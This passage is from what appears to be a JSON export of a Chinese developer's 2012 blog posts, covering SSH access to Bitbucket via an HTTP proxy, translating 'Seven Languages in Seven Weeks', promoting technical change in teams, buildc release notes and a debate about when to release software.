LP看到我翻译的样书，以一种甚为崇拜的眼光注视着我，让我很是不适应，心里想：这真的不算什么；下一个目标：自己写一本书^_^，还不知猴年马月可以实 现呢。\n2、榜样\n不知道是因为看了我的博客，还是无意中看到了网上的《七周七语言》译者中有了我的名字，几位同事都私下里向我表达了羡慕之意，更有同事借此机会表达了一直 以来都视我为榜样的心声。但我的确配不上“榜样”这个词，我觉得本人只是一个有目标、常实践、善于挤时间、有忍耐、爱思考、爱总结、养成了一些还不错的习 惯的普通人罢了，这些很多人都能做到，很多人也都是这样做的，比我做的好的多了去了。另外一个不得不承认的事实是：随着年龄的增长，家庭、工作压力都增加 好多，精力有限，要想保持原先的状态，甚至优于以前的状态，真得挺难的。\n3、Web开发\n以前一直在系统底层探索，对上层有些不屑。但最近了解和学习了一些Web开发方面的知识，感觉还不错。接触Web开发，这缘于之前有一些想法，想通过自己 并不熟悉的Web方式实现。至少目前对html、css的原理有了初步认识；开发采用了传统的LAMP；另外对于我这样的 beginner，Twitter开源的bootstrap是搭建Web UI的极好起点，上周已经完成了一稿UI Demo，自己感觉还不错；以前一直是做开源，用Google Code管理repository；这次是Private project，Github对Private repository是收费的，于是我用的是bitbucket，感觉也不错，也算是正式用上了git这个工具了。\n4、PR值升1\n上周发现我的这个博客的Google PR值由0升为1了，可能意味着更多朋友可以search到我的这个站点中的文章了。\n5、 同学小聚\n昨天一位高中同学结婚，我抽空也参加了婚礼。饭桌上和几位高中同学(还有远道从帝都赶来的)小聚了一下。有几点感悟：\n* 即使是同城，也是聚少离多。大家都处于事业和家庭双重高压力区间，时间精力十分有限啊；\n* 同学感情非同一般。以前在念书时，老师就说过同学的感情那不是同事和其他可比的，当时没有感觉。但工作后每次小聚都能深刻体会到这一点；\n* 我们这批80后大多都已结婚生子(饭桌上的一位同学刚当爸爸还不到5天，可喜可贺啊)。见面的话题已经逐渐向下一代的培养转移，甚至还谈到了生二胎，不知道是不是我们的心态已经变老了^_^。\n","permalink":"https://tonybai.com/2012/05/21/to-face-it/","summary":"\u003cp\u003e刚刚过去的这一周搞得我十分疲惫，起因是岳母生病了。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://tonybai.com/2012/01/23/happy-spring-festival-from-my-daughter-2012/\"\u003e果果\u003c/a\u003e自出生以来一直是岳母照顾，这个五一岳母将果果带回老家待了一周，也许是太过操劳导致旧病复发(腰椎肩盘轻微突出)，无法坚持照顾果果了。可这段时间 又恰逢我和我LP都很忙碌，但无奈身边没有亲戚，只能我请假待果果(LP那里集团领导检查，实在无法脱身)，还要照顾生病的岳母。本以为病两三天就能好 转，但观察两天后仍不见好转，于是我只能将母亲大人请来照顾果果，好抽身上班。万没想到，我母亲刚来一天多，居然也生病了，估计是上火所致(母亲大人十分 易上火，尤其是出远门)。于是乎又将母亲送回家里，这一顿折腾啊，转眼间5天过去了，终于盼到了周末，老婆也休息了，疲惫的我也可以缓缓了。\u003c/p\u003e","title":"勇于面对"},{"content":"在很多公司内部，要想访问外部互联网都需要设置代理，我所在公司也是这样，有些时候这种限制真的可以让人骂娘。不过经过几年与代理的\u0026quot;斗争\u0026quot;后，大部分需 要访问外部网络的软件(比如subversion、apt-get、git、wgetc、filezilla等)经过设置后还都可以正常工作。不过前些日 子在折腾bitbucket上的源码库时又遇到了代理问题：无论通过https方式还是ssh方式都无法clone bitbucket上的git库。\n之所以用bitbucket而不是github是因为前者提供免费的private repository，而后者则是收费的。今天又亟需访问bitbucket上的库，于是再次尝试突破代理的限制。\n这次想到一个思路：ssh是否可以通过http代理出去呢？Google的结果告诉我：可以！于是眼前一亮，开始折腾。\n首先要安装一个名为connect-proxy的链接代理软件：sudo apt-get install connect-proxy，软件不大，瞬间就安装完比。\n然后创建~/.ssh/config配置文件(如果之前已经存在该文件，就打开该文件)，将如下配置写入该配置文件：\n## ssh access bitbucket.or via HTTP proxy\nHost bitbucket.org\nProxyCommand connect -H user@proxy_server:port %h %p\n## other sites, do NOT use proxy\nHost *\nProxyCommand connect %h %p\n这里的配置很清晰，当匹配到bitbucket.org这个host时，ssh经由http proxy访问相应的主机；其他主机，则直接访问。注意connect命令其实就是connect-proxy，通过ls -l命令可以看到/usr/bin/connect -\u0026gt; connect-proxy。保存该配置文件后，尝试clone一个bitbucket上的repository，例如：\n$\u0026gt; git clone git@bitbucket.org:lindekleiv/jquery-ui-colorpicker.git\n$\u0026gt; ~/proj/opensource$ git clone git@bitbucket.org:lindekleiv/jquery-ui-colorpicker.git\nInitialized empty Git repository in /home/tonybai/proj/opensource/jquery-ui-colorpicker/.git/\nEnter proxy authentication password for user@proxy_server:\nremote: Counting objects: 33, done.\nremote: Compressing objects: 100% (32/32), done.\nremote: Total 33 (delta 18), reused 0 (delta 0)\nReceiving objects: 100% (33/33), 16.04 KiB, done.\nResolving deltas: 100% (18/18), done.\n可以看到命令执行后，会提示你输入访问代理的密码。输入正确的密码后，我们可以看到git可以顺利访问到bitbucket上的jquery-ui-colorpicker这个库了。\n这里有一点挺让人糟心，那就是每次都得输入访问proxy server的密码，man connect-proxy也没有发现放置http_proxy代理密码的地方，用-h选项也不行。\n注意这种用ssh访问的前提是将本地生成的公钥放置在你的bitbucket账户的\u0026quot;SSH keys\u0026quot;中了。\nBTW，理论上这种ssh通过http代理的方式对github也同样适用。\n","permalink":"https://tonybai.com/2012/05/09/ssh-access-bitbucket-via-http-proxy/","summary":"\u003cp\u003e在很多公司内部，要想访问外部互联网都需要设置代理，我所在公司也是这样，有些时候这种限制真的可以让人骂娘。不过经过几年与代理的\u0026quot;斗争\u0026quot;后，大部分需 要访问外部网络的软件(比如\u003ca href=\"http://tonybai.com/2011/03/23/also-talk-about-solving-the-svn-conflicts/\"\u003esubversion\u003c/a\u003e、apt-get、\u003ca href=\"http://tonybai.com/2011/01/20/try-git-svn/\"\u003egit\u003c/a\u003e、wgetc、filezilla等)经过设置后还都可以正常工作。不过前些日 子在折腾bitbucket上的源码库时又遇到了代理问题：无论通过https方式还是ssh方式都无法clone \u003ca href=\"http://bitbucket.org/\"\u003ebitbucket\u003c/a\u003e上的git库。\u003c/p\u003e","title":"使用ssh通过http代理访问bitbucket"},{"content":"今天在互动出版网看到《七周七语言：理解多种编程范型》一书已经开卖了。看到自己参与翻译的第一本书出版了，心中还是很愉悦的，因为自己的辛苦付出终于有了结果。\n一、缘起\n能够参与到这本书的翻译完全是机缘巧合。记得2011年初我启动了一个《Programming in Haskell》的公共翻译项目，可是由于欠缺版权的考虑，中途不得不终止了该书的翻译。当时经dreamhead介绍联系到图灵的刘江总编，希望人邮能 引进版权以促成该书的翻译，但刘总编考虑到该书是有关Haskell这门\u0026quot;小众\u0026quot;语言的，引进后受众面小，书很可能卖不出去，商业价值不高(后得知该书作 者Graham Hutton博士已经在与某出版社谈中文版版权的事宜了，并已经委托其一位同事进行中文版的翻译工作了)。不过刘总编说图灵当时已经引进了《Seven Languages in Seven Weeks》一书的中文版权，但第一译者戴玮因工作学习繁忙，可能无法按期完成全部翻译，问我是否愿意参与翻译。我的最初目标就是翻译一本英文技术书籍， 有这样的机会，而且书还可以在国内出版，于是我就欣然接下了这个翻译工作。\n二、翻译过程\n经过试译审核，顺利与图灵签订了翻译合同，我将负责翻译该书的Prolog、Scala和Haskell三个章节。正式翻译是在2011年春节后开始的， 为了能在合同规定的第一个时间点交稿，我连续N天翻译到凌晨下半夜，工作日中午午休时间也在抓紧时间翻译，周末也不放松。因为是第一次翻译，生怕自己翻译 的不好，于是对原书中的每句话都字斟句酌，仔细揣摩。另外虽说此书是一本技术书籍，但作者给每门编程语言都赋予了一部电影中的典型人物角色，并用电影中的 情节或人物角色的特征作为章节的导引，这使得每章的开篇十分难于翻译，特别是当我不熟悉语言所对应的那部影片中的那个角色时，翻译更是举步维艰。为此，我 特意看了一遍\u0026quot;雨人(Rain Man)\u0026ldquo;和\u0026quot;星际旅行(Star Trek)\u0026quot;，重温了\u0026quot;剪刀手爱德华(Edward Scissorhands)\u0026quot;，为的就是能够更精确地定位本书作者所要表达的意思。Scala一章的第一稿提交后，我收到了图灵编辑不错的反馈。于是再接 再励，在2011年4月末交了全部初稿，5月中旬完成了中耕校对；2012年3月份完成排后稿的校对。\n三、关于翻译方法和心得\n这是我第一次参与翻译项目，说实在的真没有资格谈什么翻译方法，我也不是什么专业翻译人员。但在这本书的翻译过程中还是有若干经验和教训可以与大家分享的。\n* 心态\n我认识的参与过技术书籍翻译的朋友都说：翻译不是为了赚钱(那些以翻译为谋生手段的职业翻译除外)，这点我深表认同。翻译工作是一件枯燥、辛苦甚至是费力 不讨好(出版后可能被拍砖)的工作。因此翻译前就要摆正心态，弄清楚自己为何要翻译，有了良好心态，才会有持续不断的动力，否则译着译着人就容易产生懈 怠，进度和质量都会下降，你需要这样一种战胜懈怠并持续下去的手段。\n* 你是翻译质量的决定者\n不要过于期望诸多编辑朋友会拿出百分百的时间对你的翻译内容进行校对，出版社的编辑们太忙了，一个人估计要至少负责10本以上书籍的出版工作，因此你才是翻译质量的决定者，从开始翻译的那一刻你就要保持高质量水准。\n* 第一遍就要保持高质量，不要期待你能回头做二次翻译\n第一遍翻译时，务必保证按顺序逐字逐句的高质量的翻译，一次到位；遇到难点也不要跳过，而是要集中精神搞定这个难点；否则你就会发现你积蓄的难点越来越 多，严重影响你后续翻译的情绪和心理。不要有回头做全面二次翻译的想法，因为你会发现那基本不可行，二次翻译时你会发现你的思路严重受制于第一次翻译的思 路，因此不仅不会提高什么质量，还会使你变得更加烦躁，严重影响翻译进度。\n* 前后一致\n保持前后章节的术语、句型等翻译的一致性。这点在翻译和校对时都要重点关注。\n* 除了认真还是认真\n不是所有人都是翻译天才，大部分译者，特别是技术书籍的译者，可能只是那个领域的从业人员(比如我)，在翻译能力上存在不足。但万事就怕认真，认真可以尽量袮补在能力上不足，也是出品高质量译文的必要条件。\n四、关于《七周七语言》一书\n从本书的中文名字，你也许会将其与\u0026quot;21天学会C语言\u0026quot;之类的捷径书籍混为一谈，但本书的初衷与那些捷径书籍显然不同。本书意在让你在短时间内了解到多种 编程语言的范式和主要特性，并做简单的对比了解。书的作者也许并不期望你在看完某种语言后就彻底学会了这门语言，那显然不是本书的意图。如今也许是另一个 编程语言百家争鸣的时代，新的语言层出不穷，作者试图帮助大家在如此繁多的语言当中找到一些适合你投资、学习和使用的有前途的编程语言。\n书的最终版本我也没有拿到，我也只是看了我所翻译的那三章，因此书的内容好坏我也不能妄加评论。这里是Amazon.com上关于此书的一些书评(中文翻译版)，另外从本书获得了2011年Jolt大奖可以看出本书还是被业内专家一致看好的。\n个人感觉出版的有些晚了，如果能与Jolt大奖的公布同步推出也许效果会更好。书的最终纸质版本我也没有拿到，尚不知书的印刷质量如何，另外翻译的质量如何还得需要大家评判。\n最后十分感谢翻译过程刘江、杨海玲 、傅志红、李松峰、丁晓昀等各位老师对我的帮助。\n","permalink":"https://tonybai.com/2012/05/08/translate-seven-languages-in-seven-weeks/","summary":"\u003cp\u003e今天在\u003ca href=\"http://www.china-pub.com/\"\u003e互动出版网\u003c/a\u003e看到《\u003ca href=\"http://product.china-pub.com/199312\"\u003e七周七语言：理解多种编程范型\u003c/a\u003e》一书已经开卖了。看到自己参与翻译的第一本书出版了，心中还是很愉悦的，因为自己的辛苦付出终于有了结果。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e一、缘起\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e能够参与到这本书的翻译完全是机缘巧合。记得2011年初我启动了一个《\u003ca href=\"http://code.google.com/p/programming-in-haskell-cn/\"\u003eProgramming in Haskell\u003c/a\u003e》的\u003ca href=\"http://tonybai.com/2010/11/14/the-chinese-translation-project-for-programming-in-haskell/\"\u003e公共翻译项目\u003c/a\u003e，可是由于欠缺版权的考虑，中途不得不终止了该书的翻译。当时经\u003ca href=\"http://dreamhead.blogbus.com/\"\u003edreamhead\u003c/a\u003e介绍联系到\u003ca href=\"http://www.ituring.com.cn/\"\u003e图灵\u003c/a\u003e的\u003ca href=\"http://weibo.com/turingbook\"\u003e刘江\u003c/a\u003e总编，希望人邮能 引进版权以促成该书的翻译，但刘总编考虑到该书是有关\u003ca href=\"http://haskell.org/\"\u003eHaskell\u003c/a\u003e这门\u0026quot;小众\u0026quot;语言的，引进后受众面小，书很可能卖不出去，商业价值不高(后得知该书作 者Graham Hutton博士已经在与某出版社谈中文版版权的事宜了，并已经委托其一位同事进行中文版的翻译工作了)。不过刘总编说图灵当时已经引进了《\u003ca href=\"http://pragprog.com/book/btlang/seven-languages-in-seven-weeks\"\u003eSeven Languages in Seven Weeks\u003c/a\u003e》一书的中文版权，但第一译者\u003ca href=\"http://www.douban.com/people/loveisp\"\u003e戴玮\u003c/a\u003e因工作学习繁忙，可能无法按期完成全部翻译，问我是否愿意参与翻译。我的最初目标就是翻译一本英文技术书籍， 有这样的机会，而且书还可以在国内出版，于是我就欣然接下了这个翻译工作。\u003c/p\u003e","title":"翻译《七周七语言》的那些事儿"},{"content":"昨天中午收到图灵出版的《布道之道 – 引领团队拥抱技术创新》一书，晚上就迫不及待地翻看开来。这是我读过的第一本有关推动组织内部技术变更/创新实践方面的书，感觉书作者对受众的分类很是准 确到位，很多布道技巧也十分值得借鉴。但就我个人多年来的体验来看，组织内部技术布道的结果，不仅仅与受众的类型有关，还与布道者自身的资历、所担任的角 色、组织内部的文化和环境、布道路线以及布道时机和对象的选择有一定关系。下面就是我在这方面的一些粗略心得。\n一、技术布道结果的影响因素\n我个人也算是组织内部的一个技术布道者，经过多年的碰壁和反思，感觉技术布道的结果好坏与下面的一些因素或多或少有些联系。\n* 布道者的资历\n无论国内国外(国内可能尤甚)，职场资历这个因素在任何职场活动中都会是一个影响因素，技术布道也不例外。如果你是一个职场新人，也许工作年头不超过一两 年，甚至是刚刚进入职场，你势必人微言轻，并尚未在组织内建立起信任，更重要的是你可能并未深入理解大家面对某种新技术或新实践时遇到的真正困惑以及问题 是什么，这时如果你在组织内尝试大力推动某种技术或实践，效果可能不甚良好：你会发现关心你的提议的受众会很少(除非之前就赢得了上层领导的支持)，你会 受到大家对你的资历的质疑：\u0026ldquo;你才刚来，这东西你自己用过吗？你怎么就知道这东西会对组织带来价值？你讲的这些我都知道，但我们遇到的问题你并没有真正解 决\u0026rdquo;。记得2007年一位刚刚入司不到半年的新同事(我们得承认这位同事很有技术潜质，也很有技术热情)就在项目组内部大力推广设计模式，并多次在项目组 内部以技术沙龙的方式分享设计模式相关的知识，但效果并不好，以至于若干个月后，这位同事离职后，大家依旧如故的行事，设计模式也并未真正被用到产品代码 设计中。\n相比之下，一些组织内资深的布道者反倒更容易推动组织内的技术变革。\n* 布道者的角色\n一般来说，技术布道的发起者多为组织内的纯技术人员或技术管理者，但也不能排除非技术人员(如：过程改善人员或高层管理者)发起技术或优秀实践的布道。纯 技术人员或技术管理者因其技术背景并深处其中，布道过程中其同理心更强，布道思路更符合大家的胃口，但效果因人因地而异；而过程改善人员或管理人员多半采 用是行政命令的灌输式的方法，强行推进技术或过程改革，这样做常常会遇到抵触或反对意见，短期内可能有效果，但长期结果却往往不佳(当然也有例外)。\n* 组织文化的开放度\n如果你所在的组织内的成员都抱有一个Open的心态，那恭喜你，你真是太幸运了。你的布道实践一定是相对顺利的。但实际情况中，大多数组织的文化可能没有 想象中的那么Open，大家对变化的第一反应就是\u0026quot;抵触和反感\u0026quot;– 好好的，为什么要变？你也可以说这是人的天性 – 习于安乐。显然在这种文化下进行布道，阻力将会较大，布道者需要做足准备，方可开始实施，即使如此也未必能取得很好的效果。\n* 布道路线的选择\n布道的路线无非两种：自上而下和自下而上。普通技术人员(包括一部分技术管理者)，多是自下而上，通过布道，说服项目组成员以及管理层使用新技术/新实 践。爬坡总是困难重重的，要想取得良好效果，需更多努力；技术管理者或其他管理人员可能采用自上而下的方式，告诉大家我们应该更换技术，采用新优秀实践， 多半相对顺利。如果你的技术的确解决了大家的问题，让大家平时的工作更\u0026quot;舒服\u0026quot;，自然就更受欢迎，推行起来也就水到渠成。\n* 布道时机和对象的把握\n变化是需要用成本买单的，既有人力成本，时间成本，甚至包括机会成本。如果你非要向一个下周就要发布的项目组推广JUnit，非要向一个工期仅有三个月且 交付后无需维护的产品线推广持续集成/交付，那你肯定是自找苦吃。这些例子都说明了一点：把握好布道的时机和对象。人家都忙得脚打后脑壳了，你还给人加添 乱，显然时机掌握错了；你推广的东西除了增加成本并未带来任何好处，显然对象选择错了。正如《布道之道》一书中提到的那样：你推广的成果(技术或工具)应 该可以让受众至少感觉到如下价值之一才行：提高了效率；降低了风险；增进了理解。否则你就找错了推广对象。\n二、技术布道的有效实践\n弄清楚上面的影响因素后，我们就可以谈谈一些利于收获良好结果的技术布道的有效实践了。\n* 从问题出发，选择要布道的技术/工具\n前面说过，你布道的成果(技术/工具/优秀实践)是需要给大家带来价值的，这其中主要的方面就是为了解决大家目前所面临的问题，比如开发效率不高、系统部 署繁琐、人工回归测试工作量巨大等等。因此只有当你觉察到这些问题，并对这些问题深入理解后，再去选择你要布道的技术/工具/最佳实践；否则如果只是为了 引入新技术而引入新技术的话，那么引入的技术和工具就好比无源之水、无本之木，没有长久的生命力。\n* 选择合适的受众与时机\n布道所推广的技术和工具多不具有普适性，它在一定受众范围内是有生命力的。因此在谋划布道之前就要考虑好对象。甚至可以在布道之前先深入到选定的受众当 中，对受众以及他们所遇到的问题进行相关的调查和分析，这样做才能事半功倍，布道的结果才可能更佳；另外在确定受众后，就是选择布道时机的问题了，时机的 选择因情况而异。但无论如何也不能犯上面提到的那些错误，否则你的努力将付之东流。\n* 以点及面，划分阶段\n受众面越大，布道的结果可能越不易理想。因此，最好先在小范围内布道并给予持续支持，直到该技术/工具/实践在小范围内变得不可取代并看到了成果，再向更 大的受众范围推广，此时之前那些已经尝到甜头的受众将会成为你下一阶段布道的强力助手。另外阶段性的布道还有助于你进行自我挑整，修正之前的不足，找到更 为合理的策略和方法。\n* 利用局部布道成功结果的影响力说服更广范围的受众\n人们都信奉\u0026quot;眼见为实\u0026quot;，因此将前期小范围布道的成功结果会让更广范围的受众相信你推广的技术/工具/实践将会给自己带来价值。这要比你口若悬河般的说教好上百倍。特别是在说服管理者时，这尤为有用，甚至决定成败的那个最重要的因素。\n* 建立信心和耐心，潜移默化中布道，甚至先斩后奏\n对于一些之前布道失败(无论是否是你推广的，包括那些被管理者否定的)的技术/工具/实践，只要你认定(在对问题的深入理解的前提下作出的判断)它会带来 价值，那就不要放弃，要有些耐心。并运用上面那条实践，先在局部尝试，影响小范围受众；收到显著成果后，再扩大受众面，用现有的成果说服他人，或甚至直到 当管理者问及你是如何取得这个成果时，你再告诉他：是因为我用了XX技术/工具/实践。\n* 降低目标预期\n最后这点算不上什么有效实践。对于布道者而言，如果要想保持一个持续向前的心态，保持持续关注前沿技术的动力，降低布道结果对你的负面打击，那就在布道之前降低你的目标预期吧。\n最后切忌犯一个错误，那就是：只懂皮毛，就去布道推广(多数都并非出于解决问题之目的)。这样做的结果只能是失败，并很可能让大家失去对你的信任。这个错误自己犯过，见过职场新人犯过，也见过牛人犯过。\n","permalink":"https://tonybai.com/2012/04/24/influencing-factors-and-effective-practice-about-driving-technical-changes/","summary":"\u003cp\u003e昨天中午收到\u003ca href=\"http://www.ituring.com.cn/\"\u003e图灵\u003c/a\u003e出版的《\u003ca href=\"http://book.douban.com/subject/6990284/\"\u003e布道之道 – 引领团队拥抱技术创新\u003c/a\u003e》一书，晚上就迫不及待地翻看开来。这是我读过的第一本有关推动组织内部技术变更/创新实践方面的书，感觉书作者对受众的分类很是准 确到位，很多布道技巧也十分值得借鉴。但就我个人多年来的体验来看，组织内部技术布道的结果，不仅仅与受众的类型有关，还与布道者自身的资历、所担任的角 色、组织内部的文化和环境、布道路线以及布道时机和对象的选择有一定关系。下面就是我在这方面的一些粗略心得。\u003c/p\u003e","title":"也谈技术布道 – 影响因素及有效实践"},{"content":"最近针对buildc又有了一些新想法，于是今天上午又对buildc进行了多处修改，并相继发布了0.1.6版本和0.1.7版本。\n* 对buildc cache upgrade的实现进行了修改。\n在执行全量更新本地cache前，先对本地cache的情况进行一些检查，并判断是否与当前.buildc.rc中的配置相符。如果两者是一致的，那么只进行update操作；否则则执行真正的upgrade(remove and re-init)。\n* 调整了整个buildc源码目录的结构。\n原先所有代码都放在build_utils目录下，这次我把代码分为两类：一类是核心逻辑(core)；另外一类则是工具库类(utils)，因此我删除了build_utils目录，同时增加了core和utils两个目录，分别存放不同类别的源文件。\n在进行这项改造时遇到了一个小问题，那就是Python模块(比如core模块)中的源文件导入(import)另一个同级别模块(比如utils模块)中的符号的问题。以core模块的core.py为例，core.py中导入了env文件中的符号。原先core.py和env.py在同一个模块(build_utils)下，直接import env即可；但现在core.py和env.py分别放在了core和utils目录下，直接import env就会出现导入错误。这里涉及到了Python的模块搜索路径(sys.path)。默认的sys.path只是包括执行脚本的当前目录以及一些Python相关的安装目录(比如/usr/lib/python2.6、/usr/local/lib/python2.6/dist-packages等)。这样Python解释器无法找到core.py所在目录的上层目录utils下的env.py文件。为此我们需要在sys.path中增加一个路径，即\u0026rsquo;..\u0026rsquo;，core.py文件的代码截取如下：\nimport sys\nimport os\nimport shutil\nsys.path.append(\u0026rsquo;..')\nfrom utils import env\n…\n这样Python解释器就可以在core.py所在目录的上一层目录下寻找模块了。\n* 将samples中的模板文件统一移到了templates中，删除samples目录\n最初设计templates目录下只存放Make.rules相关模板文件，当时考虑的是支持多Make.rules模板。但目前只考虑支持一种，至少目前是这样(也许后续会有变化，但不能肯定)，而samples目录下的文件其实也都是各种配置模板，因此将两个目录合二为一。\n* 修改buildc init的执行语义\n原先buildc init在初始情况下会在$(HOME)目录下创建.buildc.rc以及在当前目录下创建buildc.cfg；.buildc.rc是用户级别的配置；而buildc.cfg是项目级别的配置，放在一个init里显然有些不合适，因此0.1.7版本及以后版本在执行buildc init时只会创建$(HOME)/.buildc.rc。\n* 增加buildc config init\n对于项目级别的配置bulidc.cfg，我们使用新命令buildc config init来创建，即初始化一个项目级别的配置。\n* 用buildc config make替代buildc config-make\n顺水推舟，我们去掉了config-make这个command，进而改用buildc config make来生成或重新配置Make.rules文件。\n做完以上修改后，感觉buildc看起来和用起来都更舒服些。\n","permalink":"https://tonybai.com/2012/04/19/buildc-0-1-7-release/","summary":"\u003cp\u003e最近针对\u003ca href=\"http://code.google.com/p/buildc\"\u003ebuildc\u003c/a\u003e又有了一些新想法，于是今天上午又对buildc进行了多处修改，并相继发布了0.1.6版本和0.1.7版本。\u003c/p\u003e\n\u003cp\u003e* 对buildc cache upgrade的实现进行了修改。\u003c/p\u003e\n\u003cp\u003e在执行全量更新本地cache前，先对本地cache的情况进行一些检查，并判断是否与当前.buildc.rc中的配置相符。如果两者是一致的，那么只进行update操作；否则则执行真正的upgrade(remove and re-init)。\u003c/p\u003e","title":"buildc 0.1.7版本发布"},{"content":"气氛太平静，投石起波澜。\n昨天下午无意中在内部发起了一场关于\u0026quot;何时发布版本\u0026quot;的论战。\n论战的背景是这样的：部门内部有这样的一个项目A，它的目标是开发出可被其他项目或产品复用的组件(这里就暂称之为组件吧，我们内部称这类组件为可复用资产)。这个项目已经开发了大半年了，目前处于收尾阶段，绝大部分开发工作已经完成。测试(包括压力测试等)已经测试过至少一轮了；我们的产品线近期准备复用项目A成产出的这些组件，我们希望得到这些组件的某个发布版本。\n论战的导火索是我就这件事情回复的一封mail。mail的大致意思是希望项目A能采用可复用资产的方式对组件进行发布管理，尽早在内部公开发布组件版本，以利于其他计划或正在复用这些组件的项目能够尽早的集成，发现问题，反馈意见和建议。\n项目A负责人就我的建议回复的mail拉开了这场论战的大幕，其mail的大致内容是：\u0026ldquo;在项目A结项前，相关成果物暂不发布，不通过组织内部可复用资产的方式进行管理\u0026rdquo;。在接下来的mail中他阐述了几点理由：\n(1) 项目A开发工作尚未完全结束，代码每天依旧在修改，手册、测试均未完成；\n(2) 项目组人员有限，发布牵扯到开发人员的工作量，无法集中精力于开发工作；\n(3) 欲复用这些组件的开发组可以从项目A的配置人员那里获取代码，配置人员发布的版本都是经过基本功能测试的，而且API接口部分已经基本稳定，可以进行研发。等项目完全结束后会加入到部门可复用资产库中的。\n如果是按照传统项目的管理方式，以上理由可能无可厚非，但恰恰项目A所生产的组件并非传统项目的成果物类型，所以我针对上面的理由做了进一步的回复，大致意思如下：\n(1) 就因为组件开发尚未完全结束，才应该制定阶段发布计划，不能等到最后再发布，否则一旦存在与其他项目的集成问题，修改起来就更加费力，而且还可能导致各个项目延期；另外提早内部公开发布阶段性版本才可以\u0026quot;扩大\u0026quot;组件的使用和测试范围，去\u0026quot;Eating your own dog food\u0026quot;，有利于尽早更多地发现问题；\n(2) 产品发布就是开发过程的一部分，不要割裂开来；\n(3) 显然项目A是有自己的版本管理的，但没有在显式的位置公开发布版本信息，这些版本对外均不可知；而且在没有外部监督的前提下，内部版本管理可能较为随意，可能后续不便于外部项目对组件问题的跟踪与管理。\n(4) 由于组件的需求和设计阶段已经结束，我的建议主要针对组件实现以及之后的生命周期。\n显然项目组A负责人认为项目过程中的评审比尽早发布版本后收到的反馈更为重要，于是他发出了下面Mail：“需求阶段和设计阶段的评审更重要，实现阶段和测试阶段会举行例如手册、测试方案的评审，代码评审叫你们，你们有时间参加不？”。\n有些火药味儿了^_^。我的回答是：\u0026ldquo;我真不知道什么样的好产品是内部坐着评审出来的，哪个好产品不是在使用后反复修改出来的。如果评审能缔造好产品，那大家就都评审好了！ \u0026ldquo;。\n随后我又举了一个形象的例子，拿一个场景说明提前内部公开发布的必要性。\n以微软为例，两个部门：Windows开发部门(以下简称Win)和visual studio开发部门(以下简称VS)。Wins部门正在开发WIN8，与此同时VS部门正在开发visual studio 11。下面有两种场景：\n第一种：WIN部门在需求、设计阶段召开了大量会议，也采纳了VS部门的建议，但就是后期迟迟不发布版本。而VS部门急着要与最新的WIN8版本集成，看是否会有集成问题。WIN部门的回复是：等吧，2012年10月WIN8发布时，你们就可以测试了。VS部门也要在10月份发布VS11，无奈VS部门只能暗中找到WIN部门的人偷偷搞到一个WIN8的beta版(例如，build 2012)，然后赶紧做集成。结果发现了大量不兼容问题。VS部门感叹：多亏提前做了，否则10月份又要被Steve Ballmer甩椅子了。\n第二种：WIN部门在需求、设计阶段召开了大量会议，也采纳了VS部门的建议，并且WIN部门在开发阶段就定期发布alpha1~alpha10版本，供其他各个部门的新产品集成，及时收集问题反馈，及时修正问题。10月份时，WIN8和VS11都高质量顺利上线。\n大家觉得哪种更好些呢？\n我举的例子也有些激进(特别是场景1)，这下彻底激怒了那位兄弟。其回复说：\u0026ldquo;有很多问题，很多bug的版本也可以发布？不稳定的版本发布了有何用？谁会用？\u0026quot;。我的回答是\u0026quot;Windows每个alpha版本发布后仍然可能有数千个bug。但它也要内部发布，注意是内部发布，为的是更早的与其他应用集成，发现问题\u0026rdquo;。\n论战到这里，我觉得我的意思基本上算是表达清楚了，于是终止了这略有火药味儿的讨论。\n我们的组织内部很少有这种带有火药味儿的激烈争论，但我个人觉得在对团队团结无损害的前提下，这类争论应该多多益善，这样才能产生思维碰撞，产生火花，促进思考，推动改进。\n部门经过十几年的发展，固化下来一些目前来看并不合理的惯例，很多人(甚至也包括我自己)的思路尚停留在老路上。所以我经常用下面两句话来督促自己，让自己始终保持OPEN的心态：\n(1)、忠言逆耳利於行；\n(2)、向前迈出一步总比原地踏步强。也许迈出这一步后，摆在你面前的是另一番别有洞天的景色。\n","permalink":"https://tonybai.com/2012/04/17/a-discussion-about-when-to-release/","summary":"\u003cp\u003e气氛太平静，投石起波澜。\u003c/p\u003e\n\u003cp\u003e昨天下午无意中在内部发起了一场关于\u0026quot;何时发布版本\u0026quot;的论战。\u003c/p\u003e\n\u003cp\u003e论战的背景是这样的：部门内部有这样的一个项目A，它的目标是开发出可被其他项目或产品复用的组件(这里就暂称之为组件吧，我们内部称这类组件为可复用资产)。这个项目已经开发了大半年了，目前处于收尾阶段，绝大部分开发工作已经完成。测试(包括压力测试等)已经测试过至少一轮了；我们的产品线近期准备复用项目A成产出的这些组件，我们希望得到这些组件的某个发布版本。\u003c/p\u003e","title":"一场关于“何时发布版本”的论战"},{"content":"这两天对buildc的改动比较频繁，今天又修正了一些问题，也增加了一些小功能。主要包括这么几点：\n1、在Make.rules.in中增加了STATIC_LIBS和DYNAMIC_LIBS\n项目源代码和项目中单元测试代码使用同一个Make.rules，也此编译时也就共享同一个LIBS变量。对于静态共享库还好说，但对于动态共享库，诸如Oracle的instantclient库，单元测试代码中即使没有使用到动态共享库中的接口，也要对该动态共享库产生一个依赖。这样在执行单元测试用例时就会因无法寻得动态共享库而导致用例执行失败。\n为此，我在Make.rules.in中增加了STATIC_LIBS和DYNAMIC_LIBS两个变量，即将原LIBS变量中的静态共享库和动态共享库分开，分别放入STATIC_LIBS和DYNAMIC_LIBS中。然后让项目中单元测试代码的编译只依赖STATIC_LIBS，上述问题就得到了解决(如果你的单元测试真实需要链接动态共享库，那就另当别论了)。\n2、添加system_libs，并进一步明确了external_libs、custom_libs和新增的system_libs的含义\nbuildc设计之初，设计了三种lib：external_libs、custom_libs和default_libs，最初的设想是这样的：\n* external_libs – 一般配置第三方库或组织内部公共库；\n* custom_libs – 项目相关的C运行库和*nix系统库依赖库，或一些项目内部实现的库；\n* default_libs – 